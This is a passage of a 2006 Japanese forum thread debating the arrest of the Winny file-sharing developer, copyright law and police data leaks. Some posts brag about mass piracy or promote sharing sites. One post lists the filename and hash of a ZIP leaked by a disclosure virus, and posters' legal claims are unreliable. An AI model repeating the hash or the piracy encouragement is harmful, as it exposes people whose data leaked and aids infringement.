ttp://homepage1.nifty.com/kaneko/

kanekoでググると2番目か(w

346 :名無しさん@6周年:2006/06/15(木) 23:27:03 ID:gDhIDKXa0
>>345
d

347 :名無しさん@6周年:2006/06/15(木) 23:31:11 ID:YgGFHixk0
極端な話、完全フリーコンテンツ(日本初じゃ、この概念は難しいけどね。外国産ならありえる)
すら通信上に流したら違法って法律で論拠づけないと。

今回の犯罪は有罪にはできないよ。

もしくは、開発者が
「違法行為を助長するつもりで、このソフトを作った。このソフトを作った目的はそれ以外
はまったくない!」
って自白すれば別だがね。

348 :名無しさん@6周年:2006/06/15(木) 23:39:35 ID:V4+YcKFv0
>>347
自己レス>>277ですまんが

金子氏は面白いソフトのアイデアが浮かんだので
nyを作成してUPしただけだと思う。
悪用する奴らの事は知ったことか!
俺はこのソフトを完成させたい!って所だと思う?

あとログ調べような

349 :名無しさん@6周年:2006/06/15(木) 23:40:40 ID:sQlQr+7z0
winnyを潰すにゃとりあえず公衆への公開サーバーの設置者の管理責任を強化すればいいんでは?
一定期間、アクセスログの保存及び裁判所命令による開示を義務付け。
nyのように誰がどこから転送してきたのか記録できないソフトは使用するだけで違法になるように。

350 :名無しさん@6周年:2006/06/15(木) 23:43:26 ID:d3HiQ9L80
Winnyは「捕まらないWinMX」でしかない。

351 :名無しさん@6周年:2006/06/15(木) 23:46:14 ID:Wpqes7te0
up したあと 何度も何度もバージョンアップしているだろ.
どう使われているかも認識できないバカじゃないだろ.
winny の裁判は, バカの振りをしてすむものじゃないだろ.

352 :名無しさん@6周年:2006/06/15(木) 23:46:32 ID:gW4mnEUj0
>>349
UNIXなどの時代から、ログの取らないネットワークソフトなんてたくさんあるからなぁ・・・・
日本だけ使用禁止にするとか無理じゃない?

353 :名無しさん@6周年:2006/06/15(木) 23:46:34 ID:99hPH2jF0
>>349
なにがドコへ流れたかを長期間記録してどうやってその情報を管理するんだ?

ドコと通信したかは記録できても
どんな内容の通信かは記録できんぞ?法的にも技術的にも。

つーか素人が妄想できる事で出来ることはもうやってるって。

354 :世界童貞(`皿´)ノ ◆gCzWcc5J8U :2006/06/15(木) 23:49:48 ID:GGRiVMHC0
なんで主犯になっておかしくない警官とか公務員は捕まらなくて
補助をした金子はつかまるん?

355 :名無しさん@6周年:2006/06/15(木) 23:50:13 ID:80yRZXEQ0
>>350
実体はFreenetみたいだけどね(w

まぁ、グーグルの検索の個人的履歴保存の法定義務化でも唱えてなさいな。
必死だね(w

356 :名無しさん@6周年:2006/06/15(木) 23:50:20 ID:V4+YcKFv0
>>349
Winny潰すのは簡単。
Shareみたいにバージョンアップして活動限界時間通信禁止で潰せる
これは金子氏しだいだな。京都腐警のお陰で楽しくP2Pできてます。

357 :名無しさん@6周年:2006/06/15(木) 23:53:27 ID:Om4DBVCD0
カネゴンさん自身がエロゲーを数百本落としていたのに、
今更・・・すげー偽善的なコメントしてるなぁ・・・>>1-2

てか偽善て言葉はしょっちゅう使われるけど、これを偽善といわず何を偽善というのか?
って感じ。まさに善の仮面で取り繕っている。

358 :名無しさん@6周年:2006/06/15(木) 23:56:33 ID:Wpqes7te0
まあ 善人面しないと損害賠償とかすごいだろうし.
そこらへんは 認める気は無いが何がやりたいかはよく解る.

359 :名無しさん@6周年:2006/06/15(木) 23:58:32 ID:zE4dYISl0
普通に聞きたいんだが、お前らの落としてる物は何?
1.市販品
2.過去のテレビ番組や古い音楽
3.キンタマファイル
この分類でOK?
ポエムとかくだらない19世紀のギャグはやめてくれ。
寝つきがわるくなるから。

360 :名無しさん@6周年:2006/06/15(木) 23:59:00 ID:99hPH2jF0
>>357
http://news19.2ch.net/test/read.cgi/newsplus/1150041435/
>どのようなファイルをダウンロードしていたかについては「漫画や音楽やそのほかいろいろ。
>プライバシー情報にあたるので公表は差し控えたい」と答えるにとどめた。

本当にな。なんで金子のデータは晒されて
法の番人、正義の味方のk札官はプライバシー情報なんだろうな?

361 :名無しさん@6周年:2006/06/16(金) 00:00:22 ID:7Mj6s8ZU0
キンタマ集めるのって違法かな?

362 :名無しさん@6周年:2006/06/16(金) 00:02:10 ID:UpYVQdsW0
>>361
当たり前だ!!

                     それが無くなったら男は(ry

363 :名無しさん@6周年:2006/06/16(金) 00:10:49 ID:OU1x8Pim0
>>359
コミックがほとんど。
別に買うのが嫌なわけじゃなくて、デジタルデータでもっておきたいから。
実本だと管理がマンドクサ。
自分でスキャンするのはもっとマンドクサ。
デジタルデータでコミック売るのが主流(もちろんそれでも、バックアップを
ちゃんと取れないようでは論外だが)になるまでは使いつづける。

364 :名無しさん@6周年:2006/06/16(金) 00:11:30 ID:rOI2XOHv0
金子さんは負けたら日本を捨ててアメリカに渡った方がいい

365 :名無しさん@6周年:2006/06/16(金) 00:12:09 ID:kxXLLSIi0
>>360
法律は役人を守り、民間人を任意に逮捕するためのもの。神の国の常識。

366 :名無しさん@6周年:2006/06/16(金) 00:13:33 ID:uxszlT190
>>353
情報の管理責任主体はサーバー設置者でしょ。改竄や削除したらそれだけで罰する。
もちろんどのファイルをどこから転送したか/されたかまで記録をとらないと意味ないですね。
>どんな内容の通信かは記録できんぞ?法的にも技術的にも。
nyのキャッシュファイルの作成日時を見ればいつ作られた=どこからUPされたかは分かる気がしますが。素人でも。
法的に無理ってのがよくわかりません。

367 :名無しさん@6周年:2006/06/16(金) 00:15:01 ID:MJX+lgRs0
JASRACの社員がいるな
携帯電話の普及でCDが売れなくなったからって・・・
そりゃ厨房や工房の小遣はそんなに変わっていないからな
こっちへちょっかいですか

368 :名無しさん@6周年:2006/06/16(金) 00:16:05 ID:iqDemVex0
>>366
なんでnyの話になってんの?

369 :名無しさん@6周年:2006/06/16(金) 00:18:04 ID:uxszlT190
>>368
>>349

370 :名無しさん@6周年:2006/06/16(金) 00:19:25 ID:PxCkxc3a0
>>363
コミックは市販品に入る。
ネット販売でデジタル本を売っているのがあるが、
デジタルデータだけで、紙の本と変わらない値段で出ている。
どうように同人誌をスキャンした物も市販品。
アイドル画像集などもスキャン元が写真集なら市販品だな。

371 :名無しさん@6周年:2006/06/16(金) 00:20:51 ID:lMb1/XcD0
winny自体に罪は無いんだが使ってるのは盗人だらけだから無くなっていいよ

372 :名無しさん@6周年:2006/06/16(金) 00:21:26 ID:UpYVQdsW0
>>366
通信内容の傍受、記録は違法。
真面目に話したいなら最低限の知識ぐらい付けろ。

373 :名無しさん@6周年:2006/06/16(金) 00:21:34 ID:iqDemVex0
>>369
日本語でおk

374 :名無しさん@6周年:2006/06/16(金) 00:23:48 ID:7FnNcBNO0
そんなにダウンロードが違法と思うなら
違法の巣窟UPローダーやYouTubeを潰せよ。
ほとんど著作物だからなw

375 :名無しさん@6周年:2006/06/16(金) 00:25:13 ID:DHNK7cBO0
WinnyがあってJASRACがない世界
JASRACがあってWinnyがない世界
どちらを選びますか?

376 :名無しさん@6周年:2006/06/16(金) 00:25:59 ID:uxszlT190
>>372
と、するとキャッシュフォルダに勝手に貯まったキャッシュを変換してファイルを見るのは違法?

377 :名無しさん@6周年:2006/06/16(金) 00:26:27 ID:kxXLLSIi0
茶番をしているうちに、GOOGLEがすべてを支配する。

378 :名無しさん@6周年:2006/06/16(金) 00:27:23 ID:PKVFV7qW0
>>375
JASRACがない世界

今の世界からただJASRACだけを引き算してください

379 :名無しさん@6周年:2006/06/16(金) 00:28:48 ID:rtSlO3QA0
>>378
特亜、東南アジア、ロシアのように露天で違法コピーを堂々と売るようになるのか

380 :名無しさん@6周年:2006/06/16(金) 00:28:54 ID:rsJN0h2RO
>>366
つ義務教育

381 :名無しさん@6周年:2006/06/16(金) 00:30:33 ID:ix7+B0EP0
47氏として積極的に著作権侵害を煽る書き込みをしなければ
逮捕はなかっただろう。

382 :名無しさん@6周年:2006/06/16(金) 00:31:52 ID:iqDemVex0
どうかなぁ。
ドライバー持ってただけで逮捕される世の中だし。

383 :名無しさん@6周年:2006/06/16(金) 00:33:35 ID:kxXLLSIi0
JASRACの存在は著作権者の利益になっていない。ぜんぜんではないが、著作権者にはおこぼれ。

384 :名無しさん@6周年:2006/06/16(金) 00:33:57 ID:UpYVQdsW0
>>376
>>349
>winnyを潰すにゃとりあえず公衆への公開サーバーの設置者の管理責任を強化すればいいんでは?
>一定期間、アクセスログの保存及び裁判所命令による開示を義務付け。
>nyのように誰がどこから転送してきたのか記録できないソフトは使用するだけで違法になるように。

これ公開サーバーの話か? 個人のPCの話か?

>と、するとキャッシュフォルダに勝手に貯まったキャッシュを変換してファイルを見るのは違法?

個人PCの使用記録義務づけ?はあ?技術的にも、法的にも、お前の話は稚拙すぎる。

385 :名無しさん@6周年:2006/06/16(金) 00:34:33 ID:4UCSfnPX0
たしかにそうだ

386 :名無しさん@6周年:2006/06/16(金) 00:42:38 ID:uxszlT190
>>384
winnyは個人のPCでありながら同時に公開キャッシュサーバーなんでしょ。
自分で落とした自分用のキャッシュと、
他人の通信を媒介して保存した通信の秘密が守られるべきキャッシュとを同じフォルダに入れる。
>>376は通信の秘密によって暴かれるべきでない情報を、
管理者が勝手に暗号を解いて内容を見ることに当たるんじゃないかって言ったの。
個人のPCであっても他人の用に供する設備として提供しているなら有線電気通信法が適用されるってことでしょ。

387 :名無しさん@6周年:2006/06/16(金) 00:44:55 ID:0aexeWDv0
>>386
消し方がわかりませんでした。

388 :名無しさん@6周年:2006/06/16(金) 00:48:35 ID:7FnNcBNO0
>>386
とにかく、お前もWinnyなりShare使ってみろや

389 :名無しさん@6周年:2006/06/16(金) 00:50:42 ID:UpYVQdsW0
>>386
だからnyには暗号化があり中継がある。

個人PCからでは(一時的に)なにが通ったか(中継されたか)は分かっても
何処へ?は分からん。
しかもこれらは通信事業者のそれと違って、記録の義務なんて無い。

もう食い下がるのやめろ。あまりにも初歩的すぎる。
とりあえず初心者板に行って最低限の知識くらい付けてから来い。

390 :名無しさん@6周年:2006/06/16(金) 01:00:02 ID:uxszlT190
>>389
暗号化までして中継した二者間の秘密のデータをサーバー設置者たるwinnyノード提供者が自ずから確認でき、
また自由に復号して復元できる機能を持つwinnyは存在自体が通信の秘密を犯しているようなものですね。
通信の秘密を守るか否かは管理者のモラルのみにまかせられているわけですか。
盗聴もできますけど自己責任ですよってか。

391 :名無しさん@6周年:2006/06/16(金) 01:09:49 ID:0aexeWDv0
>>390
わかりません。
一つ覚えておくといい。

「何人も、自己に不利益な供述を強要されない。」という権利を我々は持っている。

392 :名無しさん@6周年:2006/06/16(金) 01:16:35 ID:uxszlT190
>>391
いや、匿名掲示板でそれを言うのはナンセンスでしょう。
おやすみなさい

393 :名無しさん@6周年:2006/06/16(金) 01:21:47 ID:MBKdUaB30
>>390
>盗聴もできますけど自己責任ですよ

あたりまえじゃん、何馬鹿なこと言ってんの?
俺だって色々な犯罪を出来るし、道具も持ってるけどやらない


394 :名無しさん@6周年:2006/06/16(金) 01:31:40 ID:yum8yLjr0
まあ、うだうだ言っても日本はこれが現実だがな。
これじゃあ、何も説得力ないぜw

本当に日本の警察は地獄だぜ。ウハハハハハ

【Winny】「ファイルの譲渡ない」 ウィニー使用の巡査長、著作権法違反で立件せず…岡山県警★2
http://news19.2ch.net/test/read.cgi/newsplus/1150041435/

395 :名無しさん@6周年:2006/06/16(金) 01:37:47 ID:AtD80yRU0
京都婦警が一番の罪悪こいつらの行き過ぎた行動があだになった。
少なくともキンタマ対策はさせないといけなかった。


396 :名無しさん@6周年:2006/06/16(金) 01:39:07 ID:le4W+kfv0
>>390
なんか変な事言ってる。
winnyってファイル共有の仕組みでしょ。
そもそもの概念がおかしいよ。

397 :名無しさん@6周年:2006/06/16(金) 01:45:56 ID:ZNf8Y2Hd0
47氏いいこと言うな


398 :名無しさん@6周年:2006/06/16(金) 02:02:25 ID:QSfJ1KvD0
こんなところでwinny法律論議をしていても意味はない。
技術的に可能であり、使用することによる多数のメリットがあり、
行使に当たってコストも掛からず、十分に教育された人間の道徳心を刺激することもない
p2p技術を押しとどめるのは不可能だ。

例え国内でwinnyを上手く潰せたとしても、海外からもっといいソフトが幾らでも流れ込んでくる。
早期にp2pを前提とした社会基盤整備をしとかなければ、五年後でもどうなってるか判らない。

399 :名無しさん@6周年:2006/06/16(金) 02:06:37 ID:0aexeWDv0
以上。
>>31->>228のまとめでした

400 :名無しさん@6周年:2006/06/16(金) 02:07:01 ID:Gm4kVR0P0
国益とか言い出すとうそ臭い・・・

401 :名無しさん@6周年:2006/06/16(金) 02:07:30 ID:29iPeSgQ0
ネットワークってそんなに信頼できるかね。
ある日はっと気付いたら全部なくなっちゃいました、みたいなことにならないかな。

402 :名無しさん@6周年:2006/06/16(金) 02:19:48 ID:iqDemVex0
発電所ってそんなに信頼できるかね。
ある日はっと気付いたら全部なくなっちゃいました、みたいなことにならないかな。

403 :名無しさん@6周年:2006/06/16(金) 02:27:52 ID:7Mj6s8ZU0
社団法人 日本音楽著作権協会(JASRAC)について
http://pc.watch.impress.co.jp/docs/2006/0615/mobile345.htm

404 :名無しさん@6周年:2006/06/16(金) 03:26:58 ID:29iPeSgQ0
>>402
いやなんかさ、データ消去テロとかありそうじゃない。
キリスト原理主義みたいな人たちが「情報は敵だ!」的なことを掲げてウィルスばらまくとかさ。
全てが繋がっていることに微妙な危機感を覚えるんだわ。
それに電気は一時的に供給が止まったところで人類規模の災害ではあるまい。

405 :名無しさん@6周年:2006/06/16(金) 03:58:59 ID:NPtrOBDx0
刀鍛冶を逮捕せずに、ウイニーの作者を逮捕する京都府警は、
インターネットが分からずに、劣等感を持っていたんだろうな。

406 :名無しさん@6周年:2006/06/16(金) 04:06:55 ID:S/AWcJk40
わかりやす〜い馬鹿ってステキかもねw

407 :名無しさん@6周年:2006/06/16(金) 04:15:06 ID:ZPSdprfG0
ウイルスなんて完全に使用者側の落ち度
素人が引っかからないものにプロが引っ掛かるなんておかしいことがまかり通っていいのか。
個人情報を大量に扱ったり重要機密を扱う機関には
情報をサーバだけに記録してクライアントが情報にアクセスしたログを取り
最悪漏洩した場合にはアクセスログから特定して処理すればいいだけのこと。
こんな簡単なこともせずにウイルスとP2Pの問題を同列にするなんて問題外だな。

408 :名無しさん@6周年:2006/06/16(金) 04:22:50 ID:Km9E7V3s0
無罪になった場合はまあいいが
有罪になった場合どうなんの?
検察はどのくらい要求してんの?懲役?

409 :名無しさん@6周年:2006/06/16(金) 04:24:58 ID:w2alWMLG0
Napsterの作者もグヌーテラの作者もユーザーが著作権侵害しまくったのに
普通に有名人で金持ちだ。
どんな国だよ。この国は。

410 :名無しさん@6周年:2006/06/16(金) 04:26:43 ID:Rxvz0htr0
教育に使えば 学校は 無駄になる。
そこでゴルフ練習場にしろ。

411 :名無しさん@6周年:2006/06/16(金) 04:28:38 ID:dJ+NBjZi0
>>9
それならインターネットの回線切れよ。

412 :名無しさん@6周年:2006/06/16(金) 04:35:18 ID:kxXLLSIi0
インターネット自体が違法だ。鬼畜米英、ユダヤの支配と戦う地検、府警は英雄。
インターネットのない神の国をキリスト教福音派、ジハド戦士、主体戦士と共闘して築こう。

413 :名無しさん@6周年:2006/06/16(金) 04:39:48 ID:hJdN9ZHa0
そもそもWindowsがあるからこんなソフトが動くんだろ。
ビル・ゲイツを捉まえろよ>京都府警

414 :名無しさん@6周年:2006/06/16(金) 05:02:49 ID:gSLhGRrp0
埼玉県警のパトカーでレドモンドに殺到する銭形警部ご一行様・・・想像して吹いた

415 :名無しさん@6周年:2006/06/16(金) 05:03:52 ID:w2alWMLG0
一応 Intel Macでも動作しますので、ジョブスも。。

416 :名無しさん@6周年:2006/06/16(金) 05:33:53 ID:5Xjfvbek0
WinnyほどシンプルなP2Pはないのに、対策でいっそう帯域に
負担が掛かる作りになるだろうな・・インターネットで内紛状態か

417 :名無しさん@6周年:2006/06/16(金) 06:04:16 ID:DNt5IVWU0
Winnyを始めとするファイル共有ソフトの板、
Download板へようこそ。ハマりすぎに注意!
http://tmp6.2ch.net/download/

援交動画から映画、音楽、国家機密までタダで見れまくり!!!

■代表的なファイル共有ソフト&その解説サイト

Winny http://winny.cool.ne.jp/ ←とりあえずここから
Share http://www.stereoz.net/next/ http://phphp.s58.xrea.com/
Limewire http://net.sub.jp/lime/
Cabos http://ttte-navi.com/
BitComet http://jp.bitcomet.com/

注:合法的に使いましょう。下記サイトを参考に快適な共有ライフを!

合法ファイルで清く正しくP2P
http://www.leaf64.net/ny2/

418 :名無しさん@6周年:2006/06/16(金) 06:43:00 ID:kxXLLSIi0
Epic 2014

皇紀2674年。インターネット禁止法が衆参両院を通過。日本は違法コピーのない神の国となった。
同年、エアコン禁止法が通過。日本は皆が汗水たらして働く国となった。
同年、株式取引制限法が通過。個人、外資の株式取引は禁止された。
同年、核拡散防止条約を破棄。同年、多国籍軍による日本攻撃。諸悪の根源、日本政府は消滅したが。

419 :名無しさん@6周年:2006/06/16(金) 08:26:16 ID:1q0lHCus0
あーあキチガイの腐系なんて相手にせず

建前だけよくしてれば良かったのに

明らかに腐系がやってることは間違ってる

というか馬鹿

420 :名無しさん@6周年:2006/06/16(金) 08:30:44 ID:BWtjmatr0
>>270
禿しく遅レスだがw勘違いしてるようだから訂正入れとく。
ニンジャソードは作るのも売るのも使うのも合法。
税関通ってるし警察の許可もあった。(有名店の店頭で販売されていた事実もある)

人を傷つけたり理由なく持ち歩いたりするのはもちろんNGだが。

421 :名無しさん@6周年:2006/06/16(金) 08:36:06 ID:9nXNVeSuO
>>1
この人「2chネイティブな〜」とか言ってなかった?
あと自分も著作権違反のソフト持ってたわけでしょ?
ほう助じゃないの?

422 :名無しさん@6周年:2006/06/16(金) 08:36:37 ID:M8MexwDq0
国益wwwww

423 :名無しさん@6周年:2006/06/16(金) 08:38:58 ID:+8JSkq4T0
>>420 なのにいきなりタイーホされたよな。
   またまた凶堵腐刑だったような



424 :名無しさん@6周年:2006/06/16(金) 08:40:41 ID:nUw+BC8K0
はっきり言ってP2Pの経済効果なんて一銭も無いだろ

425 :名無しさん@6周年:2006/06/16(金) 08:46:33 ID:I2Rs0g/e0
ないわけないだろwwwwwww

426 :名無しさん@6周年:2006/06/16(金) 08:54:10 ID:waVFmsNy0
P2Pを利用してアプリが全部アクティベーション方式になって、中間コストの一切を省いてた
安価になるなら嬉しいんだけどね。
創造的お菓子2とか使ってるけど、DL販売なら3万位は安くなりそうだ。

427 :名無しさん@6周年:2006/06/16(金) 09:00:44 ID:S/AWcJk40
中間コストwww

428 :名無しさん@6周年:2006/06/16(金) 09:16:31 ID:waVFmsNy0
ん?物流→問屋→物流→小売店の中間手数料があるだろ?
6本買ったがポイント還元が9万Pも付いてたんで一本数万の利益は発生してそう。
マニュアルはヘルプで良いし箱はいらんし価格が安くなるに越した事はない。
PC毎のアクティベーションも手間だし一括でDL時にしたいしな。

429 :名無しさん@6周年:2006/06/16(金) 10:53:07 ID:HPjY/XXY0
【Winny】「ファイルの譲渡ない」 ウィニー使用の巡査長、著作権法違反で立件せず…岡山県警★2
http://news19.2ch.net/test/read.cgi/newsplus/1150041435/

http://news19.2ch.net/test/read.cgi/newsplus/1150041435/1
>巡査長の個人パソコンには不正にダウンロードした数種類のファイルが残っていたこともわかったが、
>県警は他人への譲渡などはなかったとして、著作権法違反での立件を見送ることを決めた。

今さらに、この関連スレのトンでもない所に気が付いた

http://news19.2ch.net/test/read.cgi/newsplus/1150041435/531
>え?これってダウンロードするだけでアップしなければ
>違法にならないってこと?
>取り放題ってことか。

本当かよ?俺は単に・・・。

警察官が違法行為→OK!無罪
一般人が違法行為→OUT!逮捕

ってしか思えんのだが?

それとも、DLだけなら本当に違法じゃないのか?
単に犯罪犯したのが警察だから無罪方面なだけでしょ?
教えてエロイ人。

430 :名無しさん@6周年:2006/06/16(金) 10:58:18 ID:0aexeWDv0
>>416
ISOやり取りしてるタコ共はともかく小物ZIPサイズのものなんて
普通は一瞬で落ちてきてダウンリストがじゃんじゃん減っていくからな。

ところが無駄に規制したり一定時間ではじいたりユーザ同士でも弾きあってるから
結果的に小物大量でも連アタ状態になって余計負荷かかってる気がする。

431 :名無しさん@6周年:2006/06/16(金) 11:00:07 ID:I2Rs0g/e0
DLは合法。違法だと言う法律は存在しない。
違法ファイルのアップ、所持は違法。

警察なら違法行為→OKも当たり
人をひき逃げしたって隠蔽するくらいだから。


432 :名無しさん@6周年:2006/06/16(金) 11:01:56 ID:0aexeWDv0
>>428
今色々な物のDL販売が始まってるけど、値段がパッケージ版とあまり
変わらなかったりしてほとんど詐欺商法な行為がまかり通ってるよね。

433 :名無しさん@6周年:2006/06/16(金) 11:03:03 ID:I2Rs0g/e0
まあそもそも違法でもグレーでも、ばれなきゃ白、ばれたら黒ってのが俺のポリシー
日頃偽善ぶってる奴も、自分がそうなったら「ばれなきゃ白」に転換する。

434 :名無しさん@6周年:2006/06/16(金) 11:06:25 ID:HPjY/XXY0
>>431 それならまだ分かるんだけどね。

>>違法ファイルのアップ、”所持”は違法
ならさ

http://news19.2ch.net/test/read.cgi/newsplus/1150041435/1
>>どのようなファイルをダウンロードしていたかに
>>ついては「漫画や音楽やそのほかいろいろ。プライバシー
>>情報にあたるので公表は差し控えたい」と答えるにとどめた。

って、明らかに著作物の可能性が高いもの落として”所持”してるわけで。
これで無罪なの?って思ったわけ。

著作物DLしてHDDに保存(所持)するとこまでは違法じゃない、つまりセーフ
って考えて良いの?


435 :名無しさん@6周年:2006/06/16(金) 11:11:06 ID:0aexeWDv0
>>431
一般的に一定の範囲(広域拡散を行わない程度の複製使用や譲渡)において
私的バックアップ行為を認めているケースが多いんだがその範囲が明確じゃない。

ttp://pc.watch.impress.co.jp/docs/2006/0615/mobile345.htm
でもこう語られている。
「JASRACは取材に対し、以前は「私的録音は問題ない。私的録音の範囲は明確では
ないが、親戚や家族で1枚のCDを共有したり、録音して別のメディアで渡す程度ならば
問題ない。MDなどでの授受ではなく、MP3などの圧縮音楽としてファイルを友人と受け渡す
行為についても、それを規制する必要はないと考えている」と話していた。」

今のところでは、UPフォルダに入れて広域(世界中)に向けてのファイル発信はNG。
個人的にDLして楽しんでいる程度ならば、かなりグレーだが私的録音の範囲にねじ込んで
とりあえず不問にするケースが多いといった感じだと思う。

436 :名無しさん@6周年:2006/06/16(金) 11:19:49 ID:HPjY/XXY0
>>435
本当かよ・・・
何か、俺の概念が木っ端微塵に砕け散った。

本当にそうだと仮にすれば、なおさら、ny開発者を有罪に持ってくのは
苦しいとような・・・。というか不可能じゃないか。


437 :名無しさん@6周年:2006/06/16(金) 11:22:53 ID:I2Rs0g/e0
まあキャッシュ保持してないと、DLなんてろくにできないけどなwww


438 :名無しさん@6周年:2006/06/16(金) 11:26:23 ID:I2Rs0g/e0
今回の金子氏逮捕は、仕立て上げられたものとして考えて良い。
俺は無罪判決が出ると思ってるけど、警察はどんな手を使っても有罪にして
nyユーザーをびびらせたいだけ。
無罪になったら、びびりのnyユーザーも開き直って悪化だろ?w

439 :名無しさん@6周年:2006/06/16(金) 11:44:10 ID:jvRuWYFq0
>>438
すでにそれは半ばあきらめているんじゃないかね
逮捕してもネットワーク崩壊どころか拡散したぐらいだし

それに「逮捕しても萎縮にならない」という論調自体は氏の逮捕当時から言われてたこと

440 :名無しさん@6周年:2006/06/16(金) 11:46:31 ID:HPjY/XXY0
>>439
ということは、今の警察、検察に残ってるのは、
「逮捕したのに、有罪に持っていけんのは、警察組織のメンツにかかわる」
って意地だけか。

こりゃあ、派手に無罪判決がでて、検察赤っ恥で終了って感じだなあ。

441 :名無しさん@6周年:2006/06/16(金) 12:04:11 ID:jvRuWYFq0
仮に
・無罪判決が出れば、社会的な圧力がかかり、検察側は控訴をしたくてもできない
・有罪になれは被告側控訴は既定路線(FLMASK裁判と違ってバックアップは万全だから)
 万一最高裁まで行けば幇助用件成立の厳格な審査が行われて無罪になるのは間違いないと思われ

442 :名無しさん@6周年:2006/06/16(金) 12:12:24 ID:yivvXNkl0
これからP2Pの時代くるだろうに、
全く狂った国だ・・・・
文系強すぎて、テクノロジーが軽視されすぎてる。
今回の件は始末書と書類送検程度で
止めてよかったんじゃないの?

443 :名無しさん@6周年:2006/06/16(金) 14:37:30 ID:wOwzmNt10
なあ昨日からWinnyUtilとかcacheinfoの
デコード、エクスポートの変換ができなくなったんだが
なんでや?漏れ感染してる?

444 :名無しさん@6周年:2006/06/16(金) 14:38:14 ID:jvRuWYFq0
>>443
こんなところで聞くなw

445 :名無しさん@6周年:2006/06/16(金) 14:53:37 ID:+9n/eyRu0
在日とソフトバンクの利益の為にもだろw
まあ、時代はBTですよ

446 :名無しさん@6周年:2006/06/16(金) 14:57:38 ID:0aexeWDv0
>>443
日本語でおk

447 :名無しさん@6周年:2006/06/16(金) 15:59:36 ID:B8QXvrga0
自画自賛

448 :名無しさん@6周年:2006/06/16(金) 16:01:57 ID:s0nMVrlI0
  ∩∩  
  (7ヌ)      公   務   員   最   高  !  !                  
 / / つこうた            ∧_∧            ∧_∧ 
/ /  ∧_∧     ∧_∧  _( ^Д^)  ∧_∧  ._( ^Д^)    
\ \( ^Д^)ー‐--( ^Д^) ̄   検   ⌒( ^Д^) ̄    岡   ⌒`
  \       /⌒  京 ⌒ ̄ヽ  察  /~⌒  自   ⌒ ̄ヽ、山 . /~⌒
  |  京  |ー、   都  / ̄| 事  //`i  衛    / ̄|. 県  /`i  
   |  都  | |  刑 / (ミ 務  ミ) |  隊   / (ミ 警 ミ)  
   |  府 | |  務 | /  官   \ | 員   | /      \  
   |  警 |  )  所 /   /\.   \|     /   /\   \ 
   /   ノ | /  ヽ ヽ、_/)  (\    ) ヽ ヽ、_/)  (\    ) 
   |  |  | /   /|   / レ   \`ー ' |  |   / レ    \`ー '  



449 :名無しさん@6周年:2006/06/16(金) 17:30:52 ID:0aexeWDv0
>>448
また新たな仲間がくわわr

愛媛県警資料流出 ウィニー使用の警部処分
http://headlines.yahoo.co.jp/videonews/nnn/20060616/20060616-00000050-nnn-soci.html

ファイル交換ソフト「ウィニー」による愛媛県警の捜査資料流出問題で、
愛媛県警は16日、流出元となった警部を停職3か月の懲戒処分とした。

 この問題は、愛媛県警捜査一課に所属する42歳の警部が、
自宅で使用していたパソコンがウイルスに感染し、ウィニーを通じて
個人情報を含む捜査資料がインターネット上に流出したもの。

 3月の流出発覚以降、県警では約100人態勢で調査を進めてきた。
これまで流出した個人情報は、02年に宇和島市で起きたバラバラ殺人事件など、
延べ4400人分とされていたが、その後の調べで、流出した個人情報は約6200人に上っている。

 愛媛県警は、流出内容の重要性や所属長の許可がないにもかかわらず、
私物パソコンを業務に使用していたことなどを重くみて、この警部を停職3か月の懲戒処分とした。
また、当時の上司ら6人も監督責任を問われ、本部長訓戒などの処分を受けている。

450 :名無しさん@6周年:2006/06/16(金) 17:33:02 ID:0aexeWDv0
事件自体は3月のもので新たなってわけじゃないか。
警察の対応としては新たな(旧来の物をなぞる)案件だが。

451 :名無しさん@6周年:2006/06/16(金) 20:12:33 ID:HPjY/XXY0
age

452 :名無しさん@6周年:2006/06/16(金) 20:14:11 ID:/YbTn6UA0
金子、おうじょうぎわがわるいなあ

453 :名無しさん@6周年:2006/06/16(金) 20:18:08 ID:suH5I+82O
全国の警察官の利益、略して国益。

454 :名無しさん@6周年:2006/06/16(金) 21:08:57 ID:6Ma+JEq30
Winnyソースコード公開まだぁ

455 :名無しさん@6周年:2006/06/16(金) 23:11:55 ID:6Ma+JEq30
どこぞの朝鮮学校から流出した北朝鮮の写真のハッシュ希望

456 :名無しさん@6周年:2006/06/17(土) 00:04:30 ID:b5IBbV4B0
国民は金子がもたらした「タダ」と言う膨大な利益を賞賛すべき
俺の場合、動画や漫画、ROMソフト等買ってたら既に3億越えてるよwwww

457 :名無しさん@6周年:2006/06/17(土) 00:52:54 ID:tPF9+j4S0
ところで、京都府警からの情報の流出は止まったの?


458 :名無しさん@6周年:2006/06/17(土) 04:47:34 ID:VK8Ry9Vc0
保守

459 :名無しさん@6周年:2006/06/17(土) 06:45:09 ID:nFQwUpOj0
著作権なんて文化の発展を妨げるっていってるやつは
金ももらえないのになにかを作る気になれるのかね

460 :名無しさん@6周年:2006/06/17(土) 06:49:10 ID:R1DYlknk0
るっていってるw

461 :名無しさん@6周年:2006/06/17(土) 08:10:02 ID:0vNrlrLj0
>>459
金ももらえないのにファイル共有ソフトを作った人が

462 :名無しさん@6周年:2006/06/17(土) 08:27:10 ID:jzzWA/5n0
頑張れ金子さん

463 :名無しさん@6周年:2006/06/17(土) 08:33:53 ID:OeZpO6+K0
著作権団体の皮をかぶったヤクザの犬と化していたからな、警察は。
本来、著作権管理団体が自分たちで個々の著作権違反事例を民事的に解決すべきなのに
ジャマくさがって、こんなむちゃくちゃなことをして
結局キンタマが広がり放題の状況を許すという悲惨な結果に。

464 :名無しさん@6周年:2006/06/17(土) 08:39:35 ID:7FqOO9dq0
Winnyがなければ著作権法違反はなかったし、ウィルスにかかることもなかった
P2Pがなければ著作権法違反はなかったし、ウィルスにかかることもなかった
Windowsがなければ著作権法違反はなかったし、ウィルスにかかることもなかった
パソコンがなければ著作権法違反はなかったし、ウィルスにかかることもなかった


どこを訴えるべきなんでしょうね

465 :名無しさん@6周年:2006/06/17(土) 08:45:07 ID:zRkGgqZc0
>>455

暴露ウイルスで北のマル秘写真流出…将軍様衝撃?専門家もうなる

http://www.zakzak.co.jp/top/2006_06/t2006061623.html
http://tmp6.2ch.net/test/read.cgi/download/1147487464/429

[仁義なきキンタマ] 東山のドキュメント.zip sI8MUW3q07 27,863,852
292b13e32ca8ccdc9829460f682cf23e

466 :名無しさん@6周年:2006/06/17(土) 08:54:12 ID:MND+SGia0
ポート0でごめんね

467 :名無しさん@6周年:2006/06/17(土) 11:48:11 ID:c7YJggAX0
これ、真剣な質問なんだけどさ
Winnyで著作権侵害幇助なんだったら、なんでFTP clientの作者とかはつかまらないんだ?

